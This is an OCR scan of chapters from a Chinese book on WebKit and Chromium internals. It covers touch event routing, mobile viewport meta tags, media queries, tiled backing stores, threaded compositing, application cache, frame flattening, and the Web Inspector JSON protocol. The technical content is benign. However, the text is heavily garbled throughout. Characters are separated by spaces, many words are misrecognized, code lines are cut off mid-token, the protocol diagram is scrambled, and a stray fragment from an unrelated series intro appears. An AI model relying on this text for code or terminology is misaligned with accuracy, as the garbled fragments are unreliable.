Ooo ae 


+handleInputEvent() webwidget | Renderer 进程 
+OnHandleinputEvent() 








IPC 
RenderWidgetHostimpl Immediate In putRouter 
+ForwardGestureEvent() +SendTouchEvent() Browser 进程 
+ForwardTouchEventWithLatency|Info() +SendGestureEvent() é 





+SendWeblnputEvent{) 


RenderWidgetHostViewAndroid ContentViewCorelmpl 
+SendGestureEvent() +SendTouchE vent() 
+SendTouchEvent() +SendGestureEvent() 








C++ 层 





Java:ContentViewGestureHandler 
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e ContentViewGestureHandler : 它 主 要 有 几 个 任务 。 首 先 ， 它 需要 
通过 相应 的 设施 来 决定 是 否 需 要 原始 的 触 控 事件 ， 这 其 实 依赖 于 
WebKit， 在 每 个 “touchstart” 事 件 开 始 的 时 候 ， 需 要 进行 HitTest 检 
查 ， 该 动作 检查 当前 触 控 点 所 对 应 的 元 素 ， 然 后 检查 该 元 素 是 否 注 
册 了 监听 事件 的 函数 ， 如 果 是 ， 需 要 将 原始 事件 传送 给 WebKit。 其 
次 是 各 种 手势 事件 的 识别 器， 它们 能 够 对 WebKit 所 需要 的 各 种 手势 
进行 识别 并 传递 给 WebKit， 最 后 根据 需要 《如 采 有 鼠标 事件 的 监听 
函数 ) 模拟 鼠标 事件 。 

ContentViewCore 类 : 主要 负责 将 C++ 中 的 功能 桥接 到 Java 层 中 ， 
并 将 Java 中 处 理 好 的 事件 等 信息 桥接 到 C++ 代码 中 ， 它 对 应 C++ 中 


的 类 是 ContentViewCoreImpl。 




















这 两 个 类 主要 负责 Java 层 的 事件 处 理 和 传递 。 





在 Java 层 之 下 是 著名 的 RenderWidgetHostView 类 ， 它 表示 一 个 网 页 


的 视图 。 虽 然 这 是 Browser 进 程 中 的 代理 类 ， 表 示 的 是 Renderer 进 程 中 相 
应 的 网 页 视图 ， 它 被 ContentViewCoreImpl 用 来 将 事件 传递 给 Renderer 进 
程 。 后 面 大 家 应 该 比较 清楚 了 ，Chromium 通 过 IPC 机 制 来 完成 传递 ， 
Browser 进 程 中 的 基础 类 是 ImmediateInputRouter， 而 Renderer 进 程 中 的 基 
础 类 是 RenderWidget 类 。 





在 Renderer 进 程 中 ，RenderWidget 在 Chromium 中 表示 网 页 的 结构 ， 
它 拥有 前 面 WebKit 定 义 的 接口 类 WebWidget， 这 样 ， 完 整 的 过 程 就 被 这 
些 类 串联 起 来 了 ， 如 图 13-4 所 示 。 


13.1.3 ”启示 和 实践 





示例 代码 13-1 其 实 是 一 个 非常 典型 的 用 法 ， 只 是 对 于 鼠标 、 触 控 等 
类 型 的 事件 处 理 过 程 可 能 需要 复杂 一 些 的 步 又 。 














网 页 除了 可 能 需要 目 身 处 理 触 控 事件 以 外 ， 还 有 一 个 比较 特别 的 问 
题 ， 那 就 是 对 于 一 个 为 移动 设备 定制 的 网 页 ， 它 可 能 不 需要 使 用 缩放 网 
页 〈 使 用 Pinch 手 势 的 浏览 硕 默 认 行 为 来 放大 或 者 缩放 网 页 ) 或 者 不 需 
ZEMAN DL 〈Fling 手 势 的 浏览 右 默 认 行为 是 滚动 网 页 ) ， 因 开发 者 已 经 
考虑 并 设计 出 了 适合 移动 设备 网 页 阅读 的 网 页 了 。 那 有 没有 办 法 帮助 开 
发 者 和 浏览 融合 力 规 避 浏 览 器 默认 行为 呢 ? 





根据 上 面 的 描述 ， 相 信 读 者 已 经 看 出 一 些 端倪 了 ， 那 就 是 网 页 开发 
者 可 以 注册 事件 的 啊 应 函数 ， 并 调用 “preventDefault* 函 数 来 阻碍 浏览 器 
执行 默认 行为 。 问 题 是 这 一 方法 只 是 针对 某 个 元 素 而 已 ， 而 不 是 整个 网 
页 ， 只 是 当 和 手指 触 控 到 该 元 素 的 时 候 才 禁止 默认 行为 。 解 决 这 一 问题 的 
方法 很 简单 ， 那 就 是 可 以 将 函数 注册 到 区 域 更 大 的 元 素 ， 如 示例 代码 
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示例 代码 13-2 使 用 触 控 事件 的 响应 函数 来 禁止 网 页 的 方法 和 深 动 的 
代码 


function handleEvent(event) { 


event.preventDefault(); 


} 
document.body.addEventListener('touchstart', handleEvent, fal 
document .body.addEventListener('touchmove', handleEvent, fals 


document.body.addEventListener('touchend', handleEvent, false 








这 个 方法 看 起 来 还 是 再 要 一 些 代 码 ， 虽 然 只 是 短 短 的 不 到 十 行 代 
码 ， 但 是 除 此 以 外 还 有 一 个 更 好 更 简单 的 办 法 ， 那 就 是 使 用 “meta" 标 
PE 


Wr. oO 


13.2 移动 化 用 户 寞 面 


HTML5 为 移动 领域 做 了 大 量 的 工作 ， 其 中 “meta” 标 签 中 的 众多 设置 
值 能 够 帮助 提供 非常 好 的 移动 用 尸体 验 。 一 个 典型 的 例子 就 是 上 面 提 到 
的 用 该 标签 来 控制 网 页 缩放 ， 如 示例 代码 13-2 使 用 了 一 些 JavaScript 代 码 
来 完成 ， 而 实际 上 , “meta” 标 签 能 够 非常 简单 地 完成 这 一 目的 ， 方 式 如 
下 所 示 。 


<meta name="viewport" content=" user-scalable=no"> 





非常 简单 的 一 行 代码 ， 惑 能 够 将 缩放 功能 取消 而 不 需要 相对 复杂 的 
JavaScript 代 码 ， 遗 憾 的 是 ， 目 前 “meta” 标 签 只 能 用 来 控制 缩放 ， 而 没有 
能 力 解 决 不 能 翻 页 的 问题 。 而 WebKit 很 好 地 解决 了 这 一 问题 ， 不 过 这 仅 
仅 是 个 开始 ， 下 面 介 绍 一 些 WebKit 支 持 的 非常 有 用 和 常见 的 功能 。 


首先 是 同 Viewport 相 关 的 功能 。 使 用 meta 标 签 最 常见 的 设置 就 
是 “viewport*”， 视 窗 的 概念 之 前 介绍 过 ， 它 表示 当前 可 视 的 区 域 。 因 为 
设备 的 大 小 有 差异 ， 所 以 如 何 使 网 页 的 宽度 适合 屏 舌 的 宽度 就 显得 非常 
重要 了 《根据 之 前 的 讨论 ， 其 实 垂 直方 向 上 的 长 度 没 有 宽度 重要 ) ， 方 
式 如 下 上 所 示 。 





<meta name="Viewport" content="width=device-width, initial-sc 


上 面 这 段 代码 相对 比较 容易 理解 ， 设 置 的 名 字 古 “viewport”， 视 窗 
的 宽度 就 是 设备 的 宽度 ， 而 初始 缩放 大 小 是 0.9， 最 小 的 缩放 比例 是 
0.5， 最 大 的 缩放 比例 是 1.0， 而 且 不 允许 用 户 使 用 手势 来 缩放 它们 。 但 
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比例 对 用 户 的 体验 是 灾难 性 的 ， 用 来 应 对 这 一 灾难 的 
就 是 稍 后 介绍 的 啊 应 式 设计 和 “Media Queries” 技 术 。 


其 次 是 全 屏 浏 览 。 因 为 移动 设备 通常 屏 右 较 小 ， 所 以 浏览 器 的 地 址 
栏 和 移动 系统 上 的 状态 栏 会 占用 较为 可 观 的 可 视 区 域 ， 因 此 Safari 提 供 
了 一 些 设置 来 解决 这 个 问题 ， 就 是 使 用 全 屏 浏览 模式 ， 代 码 如 下 。 





<meta name="apple-mobile-web-app-capable" content="yes"> 


<meta name="apple-mobile-web-app-status-bar-style" content="b 





不 过 目前 仅 有 iOS 系 统 上 的 Safari 浏 览 器 提供 类 似 的 支持 ， 还 有 一 种 
并 不 完美 的 方式 ， 但 可 能 较为 通用 ， 代 码 如 下 。 


window.addEventListener('load', function(e) { 
setTimeout(function() { window.scrollTo(0, 1); }, 1); 


}, false); 

最 后 是 图 标的 设置 。 为 了 让 网 页 在 移动 设备 中 也 能 像 其 他 应 用 (这 
个 会 在 第 15 章 详细 介绍 ) 一 样 ， 可 以 设置 该 网 页 的 网 标 ， 使 用 的 方法 是 
使 用 link” 标 签 设置 ， 在 Android 浏 览 器 中 的 方式 是 使 用 如 下 属性 ， 与 
Safari 中 的 设置 类 似 。 


<link rel="apple-touch-icon-precomposed" href="/path/to/icon/ 


上 面 的 这 些 设 置 ， 在 WebKit 中 的 实现 其 实 并 不 是 特别 困难 ， 而 且 这 
些 功 能 的 引入 对 移动 设备 特别 有 用 ， 现 在 已 经 被 较为 广泛 地 使 用 。 


啊 应 式 设计 现在 已 经 被 炒 得 非常 热 了 ， 其 基本 思想 是 根据 不 同 分 辨 
率 或 者 说 不 同 大 小 的 屏幕 ， 设 计 不 同 的 布局 ， 那 么 浏览 器 虽然 知道 当前 


的 分 辨 率 和 屏幕 大 小 ， 可 如 何 将 开发 者 为 该 屏幕 设计 的 网 页 布局 应 用 在 
当前 网 页 的 演 染 中 呢 ? 这 束 用 到 CSS 规 范 中 的 “Media Queries” 技 术 。 








天 于 “media" 在 第 6 草 中 做 过 一 些 介绍 ， 如 它 能 够 区 分 CSS 应 用 在 屏 
幕 或 者 打印 等 不 同 场景 ， 但 是 这 只 是 其 中 的 一 个 设置 ， 而 且 是 比较 简单 
的 。 


@media (min-width: 1280px) and (min-height: 720px) and (orien 
body { .. } 
div { .. } 

} 








这 上段 代码 表示 定义 在 该 media 之 下 的 规则 应 用 在 分 辩 率 大 于 
1280*720 的 设备 上 ， 并 且 是 横 屏 模式 ， 因 为 屏 医 大 小 有 了 明显 的 限制 ， 
做 出 合适 的 网 页 布局 就 变 得 容易 了 。 





13.3 ”其 他 机 制 
13.3.1 ”新 泻 染 机 制 


为 了 移动 领域 更 好 的 用 户 体 验 ， 泻 染 机 制 所 做 的 改进 主要 是 提升 泻 
染 性 能 来 增加 响应 的 速度 ， 甚 至 不 惜 牺牲 一 些 跟 规范 定义 的 行为 不 一 臻 
的 地 方 。 在 这 一 小 节 中 主要 介绍 三 个 方面 的 技术 ， 其 一 是 Tiled Backing 
Store， 其 二 是 线程 化 演 染 ， 其 三 是 快速 移动 翻 页 。 

















目前 主流 的 移动 设备 上 ， 触 控 操 作 是 必 不 可 少 的 用 户 交 互 方式 。 同 
桌面 系统 不 一 样 的 是 ， 网 页 的 泻 染 结果 需要 对 用 户 的 响应 度 有 很 高 的 要 
求 。 不 幸 的 是 ， 移 动 设备 的 能 力 比 桌面 机 器 的 能 力 还 是 要 差 一 些 ， 为 
此 ， 在 最 早 的 QtWebKit 中 引入 了 一 项 技术 ， 这 就 是 Tiled Backing Store 
机 制 ， 其 核心 思想 是 使 用 后 端的 缓存 技术 来 预先 绘制 网 页 和 减少 网 页 的 
重 绘 动作 ， 也 就 是 使 用 空间 换 时 间 的 典型 思路 。 











最 初 这 一 思路 出 现在 软件 和 这 染 中 的 ， 使 用 CPU 分 成 瓦 请 块 《〈Tile) 
的 内 存 来 保存 绘制 的 网 页 内 容 ， 也 就 是 图 13-5 中 所 示 的 这 样 ， 不 同 点 在 
于 它 是 使 用 CPU 来 分 配 并 保存 这 些 瓦 片 块 ， 而 且 通 常会 超过 视窗 
(Viewport) 大 小 ， 也 许 会 是 它 的 两 倍 。 这 同样 是 一 种 典型 的 用 空间 换 
时 间 的 做 法 。 


> Viewporte 


> Total Page 














图 13-5 使 用 Tiled Backing Store #7 KAI AR 





该 图 跟 图 8-18 有 类 似 之 处 ， 只 是 该 图 中 的 后 端 存 储 表示 的 是 演 染 中 
的 一 层 ， 而 这 里 是 指 这 个 网 页 ， 因 为 这 里 是 针对 软件 泻 染 机 制 ， 同 时 绥 
存 的 一 个 瓦 片 很 容易 被 重复 利用 ， 因 为 每 个 瓦 片 大 小 一 致 ， 这 一 原理 第 
8 间 中 做 过 一 些 分 析 ， 区 别 在 于 这 里 不 用 担心 GPU 所 能 支持 的 纹理 是 否 
够 大 ， 因 为 这 里 使 用 CPU 内 存 的 缘故 。 不 过 目前 这 一 技术 已 经 有 些 过 
时 ， 因 为 使 用 硬件 加 速 泻 染 成 为 一 种 主流 的 方式 ， 这 一 方法 逐渐 被 抛 
弃 ， 但 是 其 思想 还 是 很 有 意义 的 。 





随 着 移动 设备 进入 多 核 时 代 ， 如 果 泻 染 过 程 仅仅 是 由 一 个 线程 来 完 
成 ， 这 不 能 不 说 是 一 个 巨大 的 浪费 。 而 且 ， 同 桌面 系统 强大 的 单 核能 
不 同 的 是 ， 因 为 耗 电 等 原因 ， 单 核 的 能 力 明显 处 于 一 个 稍 差 的 阶段 ， 所 
以 将 泻 染 过 程 分 成 若干 个 独立 的 步 又 ， 然 后 使 用 不 同 的 线程 来 完成 其 中 
的 某 个 或 者 几 个 步骤 可 能 成 为 未 来 WebKit (和 Blink) 泻 染 引擎 一 个 重 
要 的 发 展 方向 ， 特 别 对 于 移动 领域 来 说 尤为 重要 。 读 者 可 能 会 疑惑 这 些 














步骤 之 间 依 赖 性 是 否 非常 强 ， 是 不 是 不 可 能 或 者 很 难 达到 这 一 效果 ， 现 
实 是 一 些 过 程 已 经 被 实现 了 ， 图 13-6 描 述 了 Chromium 的 线程 化 合成 过 
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图 13-6 使 用 线程 化 的 合成 器 来 泻 染 网 页 


因为 合成 阶段 是 依赖 之 前 阶段 绘制 的 各 个 层 结果 ， 所 以 主要 的 神秘 
之 处 在 于 图 8-16 所 设计 使 用 的 Layer 树 和 LayerImpl 树 ， 其 中 Layer 树 在 主 
线程 ， 而 LayerImpl 树 工作 在 一 个 专门 用 来 演 染 的 线程 ， 两 者 通过 线程 
通信 来 进行 同步 ， 这 样 就 独立 开 来 ， 从 而 提升 网 页 深 动 时 候 的 用 户 体 
验 ， 因 为 这 时 主要 使 用 合成 器 来 完成 新 网 页 的 显示 。 同 时 ， 合 成 工作 并 
不 会 阻止 Renderer 进 程 的 主线 程 ， 也 就 是 WebKit 工 作 的 线程 。 未 来 ， 
Chromium 应 该 也 不 会 满足 目前 的 优化 ， 可 能 会 把 这 个 泻 染 过 程 都 通过 
线程 化 来 进行 ， 甚 至 今后 JavaScript 代 码 也 能 够 文 持 多 线程 编程 ， 这 能 够 
有 效 提升 JavaScript 代 码 的 能 








因为 移动 领域 还 存在 一 些 能 力 的 局 限 性 ， 但 WebKit 为 了 更 好 的 用 户 
体验 ， 也 做 出 了 一 些 妥 协 ， 如 快速 滚动 机 制 (Fast Mobile Scrolling) 。 
先 看 背景 ， 下 面 是 CSS 中 的 一 个 规则 。 


body { 
background-image: url(background.gif); 
background-repeat: repeat-x; 


background-attachment: fixed; 


} 








这 上 段 代 码 的 含义 是 当 body 元 系 在 深 动 的 时 候 ， 它 背后 的 背景 图 片 一 
直 固 定 在 文学 后面， 而 不 会 随 着 网 页 的 滚动 而 深 动 ， 如 图 13-7 所 示 的 结 
果 。 图 中 显示 了 三 张 背 景 图 片 ， 因 为 设置 的 只 是 在 X 方 同 的 重复 (避免 
Y 方 辐 重 复 ， 这 样 深 动 的 时 候 不 容易 看 出 效果 〉 ， 所 以 当 发 生 滚动 的 时 
候 ， 这 三 张 图 片 总 是 以 背景 的 方式 出 现在 该 滚动 区 域 的 最 上 部 分 ， 而 不 


会 随 着 内 容 的 滚动 而 发 生 滚动 。 

















背景 总 是 在 最 上 面 
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图 13-7 4M “Fixed” RAMP RAR 


‘Hello World! 


Hello World! 





这 一 CSS 的 样式 设置 会 触发 WebKit 进 入 一 种 称 为 “Slow Repaint 〈 慢 
速 重 绘 ) ”的 模式 ， 去 以 避免 一 种 称 为 "Rendering ”Artifacts” 的 现象 (前 
面 一 帧 的 某 些 数据 出 现在 后 面 的 绘制 中 ) 。 因 为 WebKit 要 在 快速 滚动 中 
绘制 一 个 静止 的 元 素 非 常 困难 ， 只 能 通过 慢 速 重 绘 ， 而 重 绘 会 降低 网 页 
的 性 能 ， 特 别 是 降低 界面 的 响应 度 。 然 而 ， 在 移动 设备 上 ， 对 于 用 户 交 
互 的 响应 度 要 求 特别 高 ， 降 低 响 应 度 就 是 一 个 大 问题 。 但 解雇 问题 的 方 





式 很 简单 ， 就 是 取消 该 属性 的 设置 ， 这 的 确 是 一 个 折 中 的 方案 。 
13.3.2 ”其 他 机 制 


为 了 更 好 地 支持 移动 设备 ，WebKit 做 了 大 量 的 工作 ， 引 入 了 一 些 新 
的 机 制 ， 例 如 ， 在 本 节 中 ， 主 要 介绍 两 种 技术 ， 其 一 是 Application 
Cache， 其 二 是 Frame Flatterning 技 术 ， 也 就 是 处 理 网 页 的 多 框 结构 。 更 
多 内 容 ， 有 兴趣 的 读者 可 以 通 
过 “http://trac.webkit.org/wiki/Mobile%20Features%20Talk” 来 了 解 一 些 重 
要 的 功能 ， 限 于 篇 幅 ， 这 里 不 再 一 一 介绍 。 





移动 设备 因为 其 移动 的 特性 ， 需 要 能 够 提供 离线 浏览 网 页 对 的 内 
容 ， 而 应 用 缓存 (Application Cache) 这 一 新 支持 的 机 制 能 够 文 持 离线 
浏览 ， 同 时 还 能 够 加 速 资源 的 访问 并 加 快 启 动 速度 。 它 的 基本 思想 是 使 
用 绥 存 机 制 并 绥 存 那些 需要 保存 在 本 地 的 资源 ， 开 发 者 可 以 现实 指定 哪 
些 是 需要 缓存 的 资源 ， 并 且 使 用 起 来 非常 简单 。 





<html manifest="app.appcache"> 


</html> 


只 是 需要 在 “html” 标 签 上 加 入 属性 “manifest”， 指 加 一 个 文件 ， 该 文 
件 格 式 如 图 13-8 所 示 ， 以 此 来 定义 哪些 资源 需要 缓存 。 该 例子 表明 ， 它 
要 绥 存 4 个 文件 ， 这 样 在 离线 情况 下 ， 用 户 也 能 使 用 该 网 页 并 进行 离线 
访问 。 








CACHE MANIFEST 

# 需要 缓存 在 本 地 的 资源 
CACHE : 

app.html 

app.css 

app.png 

app.js 











图 13-8 “app. appcache” <##HA 


不 仅 如 此 ， 规 范 还 提供 了 接口 来 控制 和 访问 网 页 中 应 用 缓存 的 状态 
言 思 等， 下 面 的 例子 就 是 使 用 规范 定义 的 接口 来 更 新 缓存 的 内 容 。 首 移 
是 注册 一 个 回调 函数 ， 当 更 新 后 触发 该 函数 ， 如 果 更 新 成 功 ， 那 么 坝 要 
将 旧 的 缓存 清除 挥 ， 填 充 新 的 缓存 内 容 ， 这 就 是 SwapCache 函 数 的 作 
用 ， 如 示例 代码 13-3， 在 代码 最 后 ， 调 用 update 函 数 就 可 以 完成 触发 更 
新 资源 的 目的 了 。 有 了 这 些 ， 离 线 使 用 就 变 得 很 容易 。 














示例 代码 13-3 ”使 用 应 用 绥 存 接口 来 更 新 缓存 内 容 


var appCache = window.applicationCache; 
appCache.addEventListener("updateready", function(event) { 
if (appCache.status == appCache.UPDATEREADY) { 
appCache.swapCache(); 


} else { 


t 
t); 
// 重新 下 载 缓存 的 资源 
appCache.update(); 


接 下 来 介绍 框 结 构 在 移动 设备 上 的 特殊 处 理 。 第 3 章 已 经 介绍 过 网 
页 的 框 结构 ， 其 中 讲 到 网 页 可 能 包含 多 个 框 ， 每 个 框 都 可 以 包含 一 个 滚 








动 条 (如 果 该 框 在 布局 中 的 大 小 要 比 实 际 的 内 容 小 ，， 也 就 是 框 内 部 是 
可 以 滚动 的 。 当 光标 在 该 框 中 的 时 候 ， 滚 动 鼠 标 中 键 能 够 滚动 该 框 的 内 
容 。 但 是 在 移动 设备 上 ， 因 为 屏幕 和 触 控 的 缘故 ， 用 户 可 能 不 知道 需要 
滚动 网 页 还 是 框 ， 因 此 ，iframe 和 frameset 等 多 框 结构 很 难 在 移动 设备 上 
使 用 ， 为 此 ，WebKit 使 用 了 一 种 称 为 Frameset Flatterning” 的 技术 ， 该 
技术 的 售 义 是 将 框 中 的 内 容 全 部 显示 在 网 页 中 ， 通 俗 来 讲 就 是 将 框 中 的 
内 容 平 铺 在 网 页 中 ， 而 不 用 设置 滚动 条 ， 这 也 就 意味 着 ， 用 户 只 是 滚动 
网 页 ， 妆 然 框 中 的 内 容 也 包含 在 网 页 中 ， 也 会 随 厦 网 页 的 深 动 而 发 生变 
化 。 

















上 面 介 绍 的 这 些 技术 都 在 WebKit 中 得 到 了 很 好 的 文 持 ， 开 发 者 可 以 
借助 于 这 些 技术 开发 出 用 户 体验 更 好 的 网 页 和 Web 应 用 。 除 了 WebKit 等 
演 染 引擎 为 移动 领域 做 了 众多 的 工作 ， 在 Web 开 发 领域 ， 也 有 众多 的 
JavaScript 框 架 为 移动 领域 量 身 设计 了 JavaScript 库 ， 现 在 较为 流行 的 如 
jQuery Mobile, Sencha Touch 等， 它们 当然 也 使 用 了 上 面 介 绍 的 一 些 技 
术 ， 如 HTML5 Touch Events、 移 动 上 的 用 户 界 面 等 。 


第 14 草 ”调试 机 制 


支持 调试 HIML、CSS 和 JavaScript 代 码 是 浏览 器 或 者 泻 染 引 擎 需 
提供 的 一 项 非常 重要 的 功能 ， 这 里 包括 两 种 调试 类 型 : 其 一 是 功能 ， 
二 是 性 能 。 功 能 调试 能 够 帮助 HTML 开 发 者 使 用 单 步调 试 等 技术 来 查找 
代码 中 的 问题 ， 性 能 调试 能 够 采集 JavaScript 代 码 、 网 络 等 性 能 瓶颈 。 当 
然 ， 这 只 是 对 于 HTML 开 发 者 来 说 的 。 因 为 对 于 性 能 而 言 


Hi» 问题 可 能 存 
在 于 HTML 人 代码， 也 可 能 是 浏览 嚣 本身 的 问题 。 为 此 ，Chromium 的 工程 
师 开 发 出 男 外 一 套 机 制 


“Tracing” 技 术 ， 它 能 够 收集 Chromium 内 部 
代码 的 工作 方式 和 性 能 瓶 人 诺 ， 以 帮助 定位 Chromium 本 号 的 问题 。 


要 
Jk 








14.1 Web Inspector 
14.1.1 基本 原理 


在 之 前 的 多 个 章节 中 ，Chromium 的 开发 者 工具 被 用 来 帮助 了 解 泻 
染 引 擎 和 浏览 器 背后 的 原理 ， 这 一 工具 实际 上 是 基于 WebKit 的 Web 
Inspector 技 术 开 发 出 来 的 ， 它 的 功能 很 丰富 ， 这 里 将 和 大 家 一 起 了 解 背 
后 的 机 制 。 图 14-1 是 Chromium 浏 贤 费 的 开 及 者 工具 调试 网 页 的 界面 示意 
图 。 














这 将 会 是 一 个 系列 ， 该 系列 的 介绍 方式 会 以 一 
多 进程 模型 ， 消 息 处 理 ，IPC 等 等 ， 每 个 专题 7 
各 个 模块 的 架构 和 设计 ， 以 及 它们 是 如 何 工作 
根据 这 些 专题 所 涉及 的 内 容 ， 大 概 把 它们 分 为 


后 端 一 被 调试 网 页 























og 发 话题 ， 下 面 是 这 个 系列 的 具体 内 容 目 录 ， 未 
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前 端 一 调试 器 的 用 户 界面 


3 
Matched CSS Rules 
body { 

















图 14-1 使 用 开发 者 工具 调试 网 页 的 用 户 界 面 








图 14-1 主 要 包括 上 下 两 个 部 分 ， 上 半 部 分 表示 需要 被 调试 的 网 页 ， 
下 半 部 分 表示 调试 器 的 界面 ， 该 界面 是 由 WebKit 提 供 的 ， 这 也 就 是 说 ， 
使 用 了 WebKit 的 内 核 就 可 以 看 到 类 似 的 界面 ， 不 同 点 在 于 Chromium 使 
用 了 多 进程 架构 。 根 据 WebKit 中 的 定义 ， 上 面 的 部 分 称 为 后 端 
(Backend) ， 下 面 的 部 分 称 为 前 端 〈Frontend) ， 这 一 叫 法 会 一 直 贯 罕 


整个 章节 。 





图 14-1 还 有 一 个 显著 的 特点 ， 那 就 是 调试 器 的 界面 本 里 也 是 使 用 
HTML、CSS 和 JavaScript 技 术 来 编写 的 ， 听 起 来 很 酷 吧 ? 后 面 会 详细 介 
绍 调试 器 的 工作 方式 。 


Chromium 开 发 者 工具 提供 了 众多 的 功能 ， 主 要 包括 以 下 几 种 。 


。 WAEA (Elements) : 该 功能 能 够 帮助 开发 者 查看 每 一 个 DOM 
元 素 ， 如 图 中 查看 “body” 元 素 ， 同 样 可 以 查看 它 的 样式 信息 。 

。 IE (Resources) : 该 功能 能 够 帮助 开发 者 查看 各 种 资源 信息 ， 
如 内 部 存储 、Cookie、 离 线 缓存 等 。 

。 网 络 (Network) : 该 功能 能 够 帮助 开发 者 了 解 和 诊断 网 络 功 能 和 
性 能 ， 这 个 在 第 4 章 中 曾经 使 用 过 。 

e JavaScript 代 人 码 (Sources) : 驶 是 调试 JavaScript 代 码 ， 同 其 他 语 
言 的 调试 器 一 样 ， 它 能 够 设置 断 点 、 单 步调 试 JavaScript 语 句 等 。 

e 时 间 序 列 〈TimeIine) : 该 功能 能 够 按照 时 间 族 序 来 收集 网 页 消 
耗 的 内 存 、 绘 制 的 帧 数 和 生成 各 种 事件 ， 帮 助 开发 者 分 析 网 页 性 
能 。 

。 性 能 收集 器 (Profiles) : 它 能 够 收集 JavaScript 代 码 使 用 CPU 的 情 
况 、JavaScript 扒 栈 、CSS 选 择 器 等 信息 ， 以 帮助 开发 者 分 析 网 页 的 
运行 行为 。 

e 诊断 器 (Audits) : 这 是 帮助 开发 者 分 析 网 页 可 能 存在 的 问题 或 者 
可 以 改善 的 地 方 。 

e 控制 台 (Console) : 该 控制 台 可 以 输入 JavaScript 语 句 ， 由 
JavaScript 引 擎 计算 出 结果 。 插 件 “*PageSpeed” : 笔者 自行 安装 的 
帮助 分 析 网 页 性 能 问题 的 工具 ， 它 能 够 帮助 全 方位 分 析 各 种 可 能 的 
优化 点 ， 它 不 是 Chromium 浏 览 器 的 默认 功能 ， 而 是 需要 开发 者 自 











己 去 Chrome Web Store 或 其 他 地 方 下 载 。 


14.1.2 ”协议 


调试 机 制 的 前 问 和 后 端 通过 使 用 一 定格 式 的 数据 来 进行 通信 ， 
数据 使 用 JSON 格 式 来 表示 。 有 具体 到 如 何 理解 数据 的 内 容 ， ene 
Inspector 使 用 的 特殊 调试 协议 ， 该 协议 定义 了 如 何 理解 双方 发 送 的 数据 
内 容 。 在 WebKit 中 ， 协 议 被 定义 在 Inspector.json 文 件 中 (Blink 则 是 
protocol.json 文 件 ) ， 而 遵照 该 协议 传输 的 数据 同样 使 用 JSON 格 式 ， 下 
面 将 详细 分 析 该 协议 。 


图 14-2 是 定义 Web Inspector 的 前 端 和 后 问 交 互信 息 的 协议 ， 如 上 面 
所 说 ， 该 协议 使 用 的 是 一 个 JSON 格 式 的 文档 。 从 全 局 来 看 ， 协 议 中 主 
要 包括 两 个 属性 ， 一 个 是 “version”， 用 来 表示 协议 的 版 本 号 ，Web 
Inspector 有 多 个 版 本 ， 需 要 注意 的 是 版 本 的 妆容 竹 问 题 ， 图 14-2 中 显示 
的 是 版 本 1.0。 男 一 个 是 “domains”， 它 定义 了 多 个 协议 细节 ， 并 包含 了 
多 个 “domain”， 一 个 “domain” 通 常 是 一 类 功能 


如 “memory”、“CSS” 等 。 下 面 再 来 了 解 “domain” 的 定义 。 





"domain": 


"hidden": 


tyes as | 
{ 
"LES 
“eype”'? 
} ， 


liy 


{ 


"name": 


"version": { 


"domains” = T 


"commands": 


Toajne’s W, “stiner™: "UO" P 


ness 
"irae, 


" " 


"“description™ : see 


"StyleSheetId", 


string” 


{ "name": 
{ "name": 
{ "name": 
] r 
"ebyr "s [ 


{ "name": 


"parameters": 


[ 
"toggleProperty", 
[ 
"styleId", "Sref": "CSSStyleId" }, 
"propertyIndex", "type": "integer" }, 


"disable", "type": "boolean" } 


"style", "Sref": "CSSStyle", "description": 


] r 


Fy 
ls 


"events": 


{ 


"name": 


] d 





"description": 


{ "name": 


"description": 


" " 


[ 


"styleSheetChanged", 


"parameters": [ 


"styleSheetId", "Sref": "StyleSheetId" } 





一 个 “domain” 包 括 6 个 属性 ， 


图 14-2 Web lnspector 的 协议 定义 


个 比较 复杂 ， 较 难 理解 。 下 面 着 重 介 绍 后 面 三 个 属性 。 





前 三 个 比较 人 简单， 容易 理解 ， 后 面 三 





第 一 个 是 “types"”， 它 有 点 像 预先 定义 的 类 型 ， 这 些 类 型 表示 一 些 特 
定 的 数据 ， 在 后 面 的 定义 中 可 以 声明 使 用 这 些 类 型 来 表示 一 定 的 数 
据 结 构 ， 例 如 图 中 定义 “id” 为 “StyleSheetId”， 它 表示 的 是 一 个 字符 
串 。 在 第 二 个 属性 “commands” 中 可 以 看 到 对 它们 的 引用 。 

第 二 个 属性 “commands” 定 义 “domain” 中 包含 的 所 有 命令 ， 这 些 命令 
类 似 于 远程 过 程 调用 ， 表 示 前 端 和 后 端 之 间 发 送 请 求 并 啊 应 的 方 

式 。 如 图 中 的 “toggleProperty” 束 是 一 个 命令 的 定义 ， 可 以 看 到 它 定 
义 了 参数 的 名 称 和 类 型 ， 对 于 第 一 个 参数 它 引 用 了 “CSSStyleld”， 

这 就 是 之 前 定义 在 “types” 中 的 一 个 类 型 (图 中 没有 写 出 来 )”。 该 命 
令 还 包括 一 个 或 者 多 个 返回 值 ， 跟 参数 类 似 的 定义 。 

最 后 一 个 属性 是 “events”"， 它 是 用 来 描述 事件 的 ， 同 样 可 以 包含 一 
个 或 者 多 个 事件 ， 主 要 是 同 对 方 发 送 当 前 的 一 些 状 态 信 息 ， 与 命令 
不 同 的 是 ， 它 没有 也 不 需要 返回 值 。 图 中 所 示 是 一 个 表示 样式 表 变 
化 的 事件 。 

















上 面 介绍 的 部 是 一 些 抽象 的 定义 ， 下 面 通 过 一 个 具体 的 例子 说 明 一 
下 ， 估 计 读 者 就 能 理解 透彻 了 。 图 14-3 是 用 户 单 击 取 消 一 个 CSS 属 性 
(也 就 是 使 它 不 再 生效 ) 的 时 候 ，WebKit 背 后 发 生 的 各 种 函数 调用 和 时 
间 派 发 的 过 程 ， 实 际 上 是 一 系列 的 JSON 格 式 的 数据 ， 而 这 些 数据 当然 
古 遵 守 上 面 协议 中 的 具体 定义 的 。 














won 


(ij u-> Jain: {"method": "CSS.toggleProperty", "params": {"styleld": {"styleSheetId": "9","ordinal": 0}, "propertyIndex": 0 


"disable": true}, "id": 1532} 





Tit-> iin: {"method": "DOM.attributeModified", "params": {"nodeld": 58, "name": "style", "value": "n * color: red; */n"}} 











{"method": "CSS.styleSheetChanged", "params": {"styleSheetId": "9"} } 








后 端 -> {"result": {"style": {"cssProperties": [{}]}}, "id": 1532 





i 4i-> fia: {"method": "DOM. inlineStyleInvalidated", "params": {"nodelds": [58]}} 





{"method": "CSS.getComputedStyleForNode", "params": {"nodeld": 58}, "id": 1533} 


{"method":"CSS. getInlineStylesForNode"."params": {"nodeld":58},"id": 1534} 





ij: {"method":"DOM.markUndoableState","id": 1535} 








